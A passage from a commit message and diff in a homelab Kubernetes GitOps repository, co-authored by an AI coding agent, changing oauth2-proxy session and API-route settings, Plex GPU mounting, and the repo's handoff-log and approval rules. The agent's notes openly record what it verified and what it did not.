chore(decisions): record the CI reading, and why the metrics policy is NOT here

Follow-up to the branch's one substantive commit; no code change.

CI on 99560c2d, read from the commit's /statuses rather than from a tick:
  gate / gate (pull_request)         state=failure   desc='Failing after 1m44s'
  gate / conformance (pull_request)  state=pending   desc='Blocked by required conditions'
The second line is PENDING, not the `success` + "Has been skipped" trap -- the
conformance job is gated on the gate job, which failed, so it never ran.

MY LOCAL `approval-policy: green` WAS MEANINGLESS AND I NEARLY REPORTED IT AS
EVIDENCE. ci/approval-policy.sh:47 reads GITHUB_EVENT_NAME, unset outside CI, so
it short-circuits to "N/A": a clean local gate STRUCTURALLY cannot catch a
sensitive-path problem. Verified by re-running with
GITHUB_EVENT_NAME=pull_request PR_NUMBER=34, where the stage evaluates and fails
CLOSED on the missing token while every other stage stays green -- which bounds
the CI failure to that one stage. I could NOT read CI's job log to confirm it
from CI's own output: this Gitea answers 404 on /actions/runs and on
/actions/jobs/{task}/logs, so only /actions/tasks is available. Attribution
therefore rests on the local reproduction plus the sensitive-path rule, not on
CI's log -- weaker evidence than PR #28 had, named rather than papered over.

Branch protection and the runner re-measured against the live API (CLAUDE.md
2b), not inherited from the CLAUDE.md table: protected=True,
user_can_push=False, enable_status_check=True, contexts=['gate / gate
(pull_request)'], required_approvals=1; runner id=1 incluster-dind online. So a
human is required on every PR here regardless of path. I did NOT provoke a
rejected push to main, so user_can_push is the API's word only.

DECLINED, with reasons: bundling Ines Dubois's metrics-ingress NetworkPolicy.
The coordinator asked for my judgement and the answer is to queue it as the next
PR, not to drop it. Principally because it is a MODEL question, not a policy to
bolt on: schema 1.6.0's observability.metricsEndpoint already renders the
monitoring-namespace ingress allow, and what the model cannot express is a
SECOND metrics endpoint belonging to a sidecar the RENDERER injected. Keying a
bespoke policy off the pod label auth-mode=forward-auth hardcodes "forward-auth
implies 44180" instead of deriving it -- the "list, don't derive" anti-pattern
oauth2-proxy-cookie-names-distinct assertion (5) forbids, one directory from the
check that forbids it. Also: it is a trust-boundary ingress allow and a
different requirement set (R-NET-01/02, R-OBS-01 vs R-IDP-02), so it should not
be reviewed in the shadow of an --api-route headline; the conflict argument does
not apply to my diff, which regenerates TWO goldens not five, and a
CiliumNetworkPolicy is a different document in files git merges independently;
every fact in the finding is hers and I have measured none of it; and the
PodMonitor it serves is in HER PR #29, so shipping the policy alone would open
an ingress allow for a scraper that selects nothing.

Also records that the sidecars' metrics remain UNSCRAPABLE and that this branch
does not change that.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
 ## The pipeline
 
 ```
- lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
+ decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
  └──────────────── run in CI, NO cluster ────────────────┘        └── in-cluster Chainsaw Job ──┘
                     live now                              cluster-gated (SKIPS in Phase 0)
 ```

.gitea/workflows/gate.yml

@@ -131,6 +131,10 @@ jobs:
           # merging. Green here means the token resolved and the live Gitea matched the
           # declaration in infra/gitea/expected-branch-protection.json.
           REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

CLAUDE.md

@@ -1,7 +1,7 @@
 # CLAUDE.md — how work lands in this repo
 
 Read this before doing anything durable. It is the delivery contract for AI coding
-sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
+sessions and agents. The newest entry in `decisions/` is the current PM handoff and
 takes precedence on *what* to work on; this file governs *how* it lands.
 
 ## 1. Never push to `main`. Ever.
@@ -14,7 +14,28 @@ There is no other path. Specifically:
 
 - **Do not `git push origin main`.**
 - **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
-- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
 - **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
   anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
 
@@ -48,9 +69,10 @@ reports as `success`, so a green tick is not by itself evidence that anything ra
 
 ## 2b. Never infer platform state from this repository
 
-**This repo is not evidence about the live platform.** Neither is `DECISIONS-LOG.md`.
-Both describe what someone believed at the time of writing, and both have been
-confidently wrong for a month at a stretch.
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
 
 On 2026-09-29 the log stated the merge gate was a required status check with a runner
 online. The API said `branch_protections: []` and **zero** runners. Everything downstream
@@ -139,9 +161,32 @@ invocations concurrently.
   flow. Do not design around committing one — read the expiry from the issuing page and
   treat a burnt token as free to retry.
 
-## 7. Before you finish
+## 7. Before you finish — write a handoff entry, in its OWN file
 
-Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
-verified, and what you did **not** verify. State gaps plainly — an honest
-"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
-burned by the difference.
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
+appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
+on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
+`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
+anything to do with each other. Separate files have nothing to merge, which is the
+entire fix. Note that the damage from getting this wrong lands on *other people's*
+branches, later, which is why it is a gate stage and not a request.
+
+Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
+wording is **stale**, in the same way §1's `git push origin main` wording is stale.

DECISIONS-LOG.md

@@ -1,3 +1,16 @@
+> **FROZEN ARCHIVE — 2026-08-16 … 2026-09-29. Do not append to this file.**
+>
+> New handoff entries go in **`decisions/`**, one file per entry
+> (`decisions/YYYY-MM-DD-<slug>.md`). See [`decisions/README.md`](decisions/README.md).
+>
+> Why: every agent appended to this file's tail, so any two concurrent branches
+> conflicted on the same last hunk. On 2026-09-29 that made four of the five open PRs
+> unmergeable, with this file as the *only* conflicting path in all four. Separate files
+> have nothing to merge.
+>
+> This file's SHA-256 is pinned in `decisions/ARCHIVE.sha256` and the merge gate
+> (`ci/decisions-log.sh`) rejects any change to it.
+
 # Autonomous Session Decision Log (PM)
 
 Program Manager working independently while the operator is AFK (started 2026-08-16). Every

apps/wave-0/jackett.yaml

@@ -100,11 +100,15 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://jackett.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --cookie-name=_oauth2_proxy_jackett
+        - --cookie-domain=jackett.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -125,6 +129,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/pihole.yaml

@@ -108,11 +108,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://pihole.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_pihole
+        - --cookie-domain=pihole.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -133,6 +136,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/plex.yaml

@@ -143,6 +143,8 @@ spec:
         - name: media
           mountPath: /media
           readOnly: true
+        - name: dri
+          mountPath: /dev/dri
       volumes:
       - name: config
         persistentVolumeClaim:
@@ -150,6 +152,10 @@ spec:
       - name: media
         persistentVolumeClaim:
           claimName: plex-media
+      - name: dri
+        hostPath:
+          path: /dev/dri
+          type: DirectoryOrCreate
 ---
 # Service
 apiVersion: v1

apps/wave-0/qbittorrent.yaml

@@ -171,11 +171,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://qbittorrent.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_qbittorrent
+        - --cookie-domain=qbittorrent.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -196,6 +199,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-1/radarr.yaml

@@ -153,11 +153,16 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://radarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --api-route=^/signalr/
+        - --cookie-name=_oauth2_proxy_radarr
+        - --cookie-domain=radarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +183,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-1/sonarr.yaml

@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

catalog/jackett.yaml

@@ -51,6 +51,23 @@ auth:
     # This grants no real privilege: platform-admins already maps to cluster-admin via
     # k8s-oidc-rbac.yaml (oidc:platform-admins), so a member can already exec into these pods.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Jackett's OWN API with 401 instead of a 302 to Keycloak (schema 1.9.0; renders
+  # --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # MEASURED on this pod's access log, 2026-09-30: on /api/ paths, 33 x 302 against 2 x 401 —
+  # and 4 of 6 POSTs were answered BY THE PROXY and never reached Jackett (access-log upstream
+  # field `-`, not `/`), including both `/api/v2.0/server/update` calls. Jackett's jQuery does
+  # not send the exact `Accept: application/json` oauth2-proxy's AJAX guard requires, so the
+  # 302 was followed invisibly, satisfied silently by the live Keycloak SSO session, and
+  # resolved 200 carrying the dashboard's HTML where the JavaScript expected JSON. A browser
+  # following a 302 also re-issues a POST as a GET and DROPS THE BODY, which is why "adding an
+  # indexer silently does nothing" was the user-visible symptom and nothing logged a failure.
+  #
+  # SCOPE: `/api/` only. Jackett serves its UI at /UI/ and its static assets elsewhere, and a
+  # browser never NAVIGATES to /api/ — so a plain page load is still 302'd into a silent SSO
+  # sign-in, which is the behaviour that must not change.
+  apiRoutes:
+    - ^/api/
 update:
   channel: stable               # R-UPD-01
   range: ">=0.22.0"             # stay on the Jackett 0.22.x stable line

catalog/pihole.yaml

@@ -107,6 +107,13 @@ auth:
   mode: forward-auth          # oauth2-proxy -> Keycloak; bare UI, no native OIDC (docs/15; R-IDP-02)
   groups:
     - platform-admins         # sensitive admin UI: authenticated AND in group (R-IDP-06)
+  # NO `apiRoutes` HERE, DELIBERATELY. PiHole's admin UI serves no /api/ path, so the `^/api/`
+  # that jackett and radarr need would match nothing on a good day — and a BROADER guess would
+  # answer PiHole's own page loads with 401, leaving a logged-out operator on a bare error page
+  # with no sign-in offered. This app is the reason auth.apiRoutes is per-service (schema 1.9.0)
+  # rather than a renderer constant: the measurement that justifies the flag on two apps is
+  # evidence about those two apps. Its oauth2-proxy log holds 0 unauthenticated requests across
+  # the current pod's whole 23h lifetime (measured 2026-10-01), so there is nothing to act on.
 update:
   channel: stable             # R-UPD-01
   range: ">=2024.0.0"

catalog/plex.yaml

@@ -80,6 +80,58 @@ env:
   # remote access are UNVERIFIED. Advertising a wrong/internal-only URL breaks remote access for ALL
   # clients, so per "prefer safety over completeness" it is left unset. FOLLOW-UP: once remote
   # reachability through the Gateway is confirmed, set ADVERTISE_IP: "https://plex.home.keithjackson.dev:443".
+# HARDWARE TRANSCODING — the host iGPU's render device (schema 1.8.0 `hardware`; R-PLAT-02).
+# INTENT ONLY. This says "this workload needs an Intel Quick Sync render device"; it does NOT name a
+# device path. The renderer currently satisfies it with exactly two things — a `/dev/dri` hostPath
+# volume (`type: DirectoryOrCreate`) and a read-write `/dev/dri` volumeMount on the app container —
+# and nothing else: no nodeSelector, no privileged, no resources (schemas/renderer-contract.md
+# `### hardware`). If that mechanism is later replaced by the Intel GPU device plugin
+# (`gpu.intel.com/i915`), it is a `catalog/render.py` change and THIS BLOCK DOES NOT MOVE. Do not
+# "simplify" it into a raw `/dev/...` path; that is the whole point of the enum.
+#
+# THE DEVICE IS PRESENT ON EVERY PROD NODE, so nothing had to be installed and Plex can land
+# anywhere. Measured on all three nodes 2026-09-30: `/dev/dri/renderD128` present, `root:render`,
+# GID 992, mode 0660, driver `i915` bound (NOT `xe`), UHD Graphics 630 on an i7-9700T, media engines
+# `vcs0`/`vecs0` live, iGPU enabled in BIOS on each. Plex happens to run on k3s-prod-2 today, but
+# that is scheduler history rather than a requirement — this field deliberately renders no
+# nodeSelector, because placement is a separate concern with its own justification.
+#
+# NO `podSecurityContext.supplementalGroups`, AND ADDING ONE WOULD BE INERT — do not "fix" this.
+# The device is `root:render` 0660 and this process is uid/gid 1000, so the obvious move is to push
+# the host `render` GID in as a supplemental group. It cannot work here. MEASURED IN THE RUNNING
+# CONTAINER, 2026-09-30: the image's own
+# `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` stats every char device under
+# `/dev/dri`, `groupadd`s a matching group INSIDE the container when none exists, and
+# `usermod -a -G`s the `plex` user into it — every start, nothing hardcoded, which also makes a host
+# GID renumbering self-healing (no GID is pinned anywhere in this repo). The service then execs via
+# `s6-setuidgid plex`, and `s6-setuidgid` REPLACES the process group list from `/etc/group` rather
+# than appending to it: `Plex Media Server` runs with `Groups: 100 1000`, and root's gid `0` — which
+# PID 1 (`s6-svscan`) does hold — is GONE. Anything Kubernetes supplies therefore reaches s6-svscan
+# and is discarded before Plex ever starts. Mounting the device is sufficient; the group is the
+# image's job and it does it correctly. `render.py --selftest` asserts the ABSENCE of a pod
+# securityContext for this field precisely so nobody adds an inert one back later.
+#
+# `DirectoryOrCreate` IS THE SAFE FAILURE MODE, not laziness. A node that comes back without the
+# device (rebuild, BIOS reset, driver regression, hardware swap) gets an empty directory and Plex
+# degrades to SOFTWARE transcoding. `Directory` would fail the mount instead — and because
+# `apps-wave-0` is `wait: true` with `apps-wave-1` `dependsOn` it, that would stall the WHOLE app
+# tier for a feature that is not load-bearing. The price, stated plainly: a missing device is
+# SILENT. This SD renders no `metricsEndpoint`, so there is no ServiceMonitor, no transcode-mode
+# metric, and no alert that could ever fire. The only proof is an operator reading the Plex
+# dashboard.
+#
+# THE LAST MILE IS A MANUAL OPERATOR STEP AND CANNOT LIVE IN THIS REPO. Mounting the device does
+# not enable hardware transcoding — Plex's own `HardwareAcceleratedCodecs` preference does, and it
+# is ABSENT from `Preferences.xml` today (the toggle has never been on). NO environment variable can
+# set it: a grep of the running image's entire init surface (`/etc/cont-init.d`, `/etc/services.d`,
+# `/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin`) found ZERO `PLEX_PREFERENCE*` support,
+# and the six prefs the image does write (`MachineIdentifier`, `ProcessedMachineIdentifier`,
+# `PlexOnlineToken`, `customConnections`, `allowedNetworks`, `TranscoderTempDirectory`) are all
+# unrelated. So there is no GitOps path to the toggle; an operator clicks it once in the web UI.
+# `runbooks/plex-quicksync.md` is that procedure, plus how to verify it took and the
+# device-cgroup failure mode to expect first.
+hardware:
+  gpu: intel-quicksync
 exposure: public              # edge port-forward + public DNS; clients + Seerr reach it (docs/09; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:

catalog/qbittorrent.yaml

@@ -448,6 +448,12 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE: UNMEASURED, not cleared. qBittorrent's WebUI drives everything through
+  # /api/v2/, so it is plausibly affected in the same way jackett is — but plausibility is what
+  # put a renderer constant on the table in the first place. MEASURED 2026-10-01 on the live pod
+  # (qbittorrent-5547bdb9bd-zq557, 0 restarts, 23h): 13,649 log lines, ZERO unauthenticated
+  # requests, nothing but health probes. No traffic means no evidence either way. Add `^/api/`
+  # when someone opens the WebUI and records the 302/401 split, as was done for jackett.
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the qBittorrent 5.x stable line

catalog/radarr.yaml

@@ -112,6 +112,32 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Radarr's machine endpoints with 401 instead of a 302 to Keycloak (schema 1.9.0;
+  # renders --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # `^/signalr/` — MEASURED ON THE LIVE POD, 2026-10-01, 23h after the cookie fix deployed
+  # (radarr-7d55cbffb9-42hmh, 0 restarts): 232 unauthenticated requests in the pod's whole
+  # lifetime and ALL 232 are the same call — `POST /signalr/messages/negotiate` from a browser
+  # UA, answered 302 by the proxy with upstream `-`, i.e. Radarr never saw one of them. That is
+  # a left-open tab whose session the cookie rename orphaned, polling SignalR forever, silently
+  # redirected every time and NEVER re-prompting the operator. It is the reported symptom
+  # ("reloading never fixes it and I am never re-prompted") still running in production on a
+  # service nobody was watching. With 401 the UI's connection breaks LOUDLY, the operator
+  # reloads, and `/` is outside both regexes so the reload signs them back in.
+  #
+  # `^/api/` — measured on radarr, but on the PRE-FIX pod and NOT by me: the 2026-09-30
+  # diagnosis (decisions/2026-09-30-jackett-oauth2-proxy-session.md) recorded radarr's 156
+  # unauthenticated requests as `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+  # `/signalr/messages/negotiate` (43). The current pod has logged ZERO /api/ traffic, so I did
+  # not re-measure it; it is included because 108 of 156 measured rejections on this app were
+  # /api/v3 XHRs, which is this app's own evidence rather than an analogy to another app.
+  #
+  # SCOPE: both are JSON/RPC namespaces a browser never NAVIGATES to. Radarr's UI is served at
+  # `/` with assets under /Content/ and /MediaCover/, none of which match — so a plain page load
+  # is still 302'd into a silent SSO sign-in.
+  apiRoutes:
+    - ^/api/
+    - ^/signalr/
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the Radarr v5 stable line

catalog/render.py

@@ -133,6 +133,84 @@ OAUTH2_PROXY_IMAGE = "quay.io/oauth2-proxy/oauth2-proxy:v7.8.1"
 OAUTH2_PROXY_PORT = 4180
 KEYCLOAK_ISSUER = f"https://keycloak.{ZONE}/realms/homelab"
 
+# --- session lifetime -----------------------------------------------------------------
+# Keycloak's `homelab` realm issues access tokens with a 300-SECOND lifetime. MEASURED on a
+# live session, not read off a config page: `expires - created = 300.000s` exactly, with
+# `refresh_token:true` on the same line — so the proxy HOLDS a refresh token it was never
+# told to spend. `--cookie-refresh` defaults to 0, which the v7.8.1 binary's own help spells
+# "0 to disable", so every one of these sidecars dropped its session five minutes after
+# sign-in and sent the user back to Keycloak. Refresh at HALF the lifetime: two chances to
+# renew before expiry, so one failed refresh is not an immediate logout.
+#
+# NOTE for anyone tempted to add `--session-cookie-minimal` to shrink the cookie: it is
+# MUTUALLY EXCLUSIVE with this (provoked: "cookie_refresh > 0 requires oauth tokens in
+# sessions"). Dropping --pass-access-token is a least-privilege argument, not a size fix.
+OAUTH2_ACCESS_TOKEN_LIFETIME_S = 300
+OAUTH2_COOKIE_REFRESH = "2m30s"
+
+# --- metrics --------------------------------------------------------------------------
+# oauth2-proxy serves /metrics only when --metrics-address is given; with it absent the
+# listener never starts, so NO per-app sidecar was scrapable at all (measured: `ports` was
+# `['http']` on all six). 44180 is the platform's existing convention, not a guess — the
+# SHARED proxy already runs `--metrics-address=0.0.0.0:44180` with a `metrics` port and 2
+# ready endpoints. The flag is confirmed present in the PINNED v7.8.1 binary (`--help`),
+# which matters because the shared proxy is on v7.15.3 and could not have vouched for it.
+#
+# THIS IS THE PREREQUISITE ONLY, AND IT IS NOT YET SCRAPED. A container port is not a
+# Service port: these sidecars' Services expose the app port and :4180, and each namespace's
+# default-deny baseline has `ingress: []`, so Prometheus can neither resolve nor reach this
+# port until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+# are added. Do not read this flag as "metrics are working".
+OAUTH2_PROXY_METRICS_PORT = 44180
+
+# --- Hardware capability: `hardware.gpu: intel-quicksync` ------------------------------
+# The ServiceDefinition declares the CAPABILITY (schemas/servicedefinition.schema.json
+# `hardware.gpu`); everything below is the MECHANISM that currently satisfies it and is
+# deliberately confined to this file. Swapping to the Intel GPU device plugin
+# (`gpu.intel.com/i915` resource requests instead of a hostPath) is a change here and
+# nowhere else -- no catalog entry moves.
+DRI_VOLUME_NAME = "dri"
+DRI_DEVICE_DIR = "/dev/dri"
+
+# --- API routes: 401 instead of 302, PER APP ------------------------------------------
+# oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. Its built-in AJAX
+# guard would send a 401 instead, but it fires only on an EXACT `Accept: application/json`,
+# which these apps' JavaScript does not consistently send. So an unauthenticated XHR gets a
+# 302, the browser follows it INVISIBLY, the live Keycloak SSO session satisfies it silently,
+# and the call resolves 200 carrying the app's HTML where the JavaScript expected JSON — no
+# prompt, no console error, nothing logged as a failure. On a WRITE it is worse: a browser
+# following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
+# discarded and the UI reports success. MEASURED, twice:
+#   jackett  2026-09-30: 33 x 302 against 2 x 401 on /api/ paths, and 4 of 6 POSTs answered by
+#            the proxy and never reaching the app (access-log upstream field `-`, not `/`).
+#   radarr   2026-10-01, 23h after the cookie fix rolled: 232 x 302, EVERY ONE a
+#            `POST /signalr/messages/negotiate` from the operator's own browser, upstream `-`.
+#            A left-open tab whose cookie the rename orphaned, polling forever, silently
+#            redirected every time, NEVER re-prompting. That is the reported symptom
+#            ("reloading never fixes it and I am never re-prompted") still happening in
+#            production, on a service nobody was looking at.
+# `--api-route=<regex>` makes matching paths answer 401.
+#
+# WHY THIS IS NOT A RENDERER CONSTANT, AND MUST NEVER BECOME ONE. The path shape is a property
+# of the APP, not of the forward-auth pattern: radarr's broken path is `/signalr/`, jackett's is
+# `/api/`, and PIHOLE SERVES NO `/api/` AT ALL. One constant would apply one app's path shape to
+# five, and the failure mode of a wrong one is not "no improvement" but "this service is
+# permanently broken": a path a BROWSER NAVIGATES to, answered 401, shows a logged-out operator
+# a bare error page and never offers a sign-in. So the routes are declared per service in
+# `auth.apiRoutes` (schema 1.9.0) and rendered one `--api-route` per entry — the flag is
+# repeatable, and it is SINGULAR: `--api-routes` does not exist in v7.8.1 and the proxy refuses
+# to start with it (verified against the pinned binary's own --help, 2026-10-01:
+# `--api-route strings   return HTTP 401 instead of redirecting to authentication server...`).
+#
+# BREADTH RATCHET. Every entry must be anchored at `^/` and continue with literal path
+# characters. That rejects `^/`, `^/.*`, `.*`, an unanchored `/api/`, and any alternation — the
+# shapes that turn a page load into a 401. Alternation is refused rather than supported because
+# the flag is repeatable, so one regex per route costs nothing and stays readable. The same
+# pattern is in the schema (so ci/l0.sh's schema stage rejects it at the authoring surface) and
+# enforced HERE (so ci/render-golden.sh fails even if the schema stage is skipped) — a breadth
+# mistake must not need two independent gates to both be running.
+OAUTH2_API_ROUTE_PATTERN = re.compile(r"^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$")
+
 
 # =============================================================================
 # Defaults (renderer-contract.md "Default posture") — materialize BEFORE mapping.
@@ -158,6 +236,12 @@ def apply_defaults(sd: dict) -> dict:
     if "mode" not in auth:
         auth["mode"] = "forward-auth" if s["ingressRoutes"] else "none"
     auth.setdefault("groups", [])
+    # apiRoutes default posture is EMPTY, deliberately, and that is the whole point of the field
+    # (schema 1.9.0): an app gets --api-route only where someone MEASURED that it serves a machine
+    # API, so a newly-onboarded app renders no --api-route at all rather than inheriting another
+    # app's path shape. See OAUTH2_API_ROUTE_PATTERN above for why a default of `^/api/` would be
+    # wrong rather than merely generous.
+    auth.setdefault("apiRoutes", [])
     s["auth"] = auth
 
     update = dict(s.get("update") or {})
@@ -483,6 +567,46 @@ def r_deployment(s: dict) -> dict:
                 "persistentVolumeClaim": {"claimName": f"{s['name']}-{vol['name']}"},
             }
         )
+    # hardware capability (schema-optional): `hardware.gpu: intel-quicksync` means this
+    # workload needs the host iGPU's render node for hardware video transcode. The SD says
+    # only that; the wiring below is the platform's current mechanism for satisfying it.
+    #
+    # `type: DirectoryOrCreate` is DELIBERATE and load-bearing -- do NOT "tighten" it to
+    # `Directory`. A node that comes back without the render device (rebuild, BIOS change,
+    # driver regression, hardware swap) must degrade the workload to SOFTWARE transcoding,
+    # not fail the mount: `apps-wave-0` is `wait: true` and `apps-wave-1` dependsOn it, so a
+    # failed hostPath mount stalls the entire app tier for the sake of a feature that is not
+    # load-bearing. `DirectoryOrCreate` turns that failure mode into "transcodes in
+    # software" instead of "the app tier does not reconcile". /dev is tmpfs, so the empty
+    # directory the kubelet creates on such a node leaves nothing durable behind.
+    #
+    # The mount is deliberately NOT readOnly: VA-API opens the render node read-write.
+    #
+    # `podSecurityContext.supplementalGroups` is DELIBERATELY NOT SET here, and adding it
+    # would be a regression, not a hardening. MEASURED in the running container on prod-2,
+    # 2026-09-30: the image's own cont-init hook
+    # `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` `find`s every char device
+    # under /dev/dri, `stat -c '%g'` each one's GID, `groupadd`s a matching group INSIDE the
+    # container when none exists, and `usermod -a -G` the app user into it -- every start,
+    # nothing hardcoded. cont-init.d completes before services.d, so the account database
+    # s6 reads at exec time already carries the group. The service is then started with
+    # `exec s6-setuidgid plex ...`, and `s6-setuidgid` REPLACES the process group list from
+    # /etc/group rather than appending to it: `Plex Media Server` runs with
+    # `Uid: 1000  Gid: 1000  Groups: 100 1000` -- root's gid 0, which PID 1 (s6-svscan) does
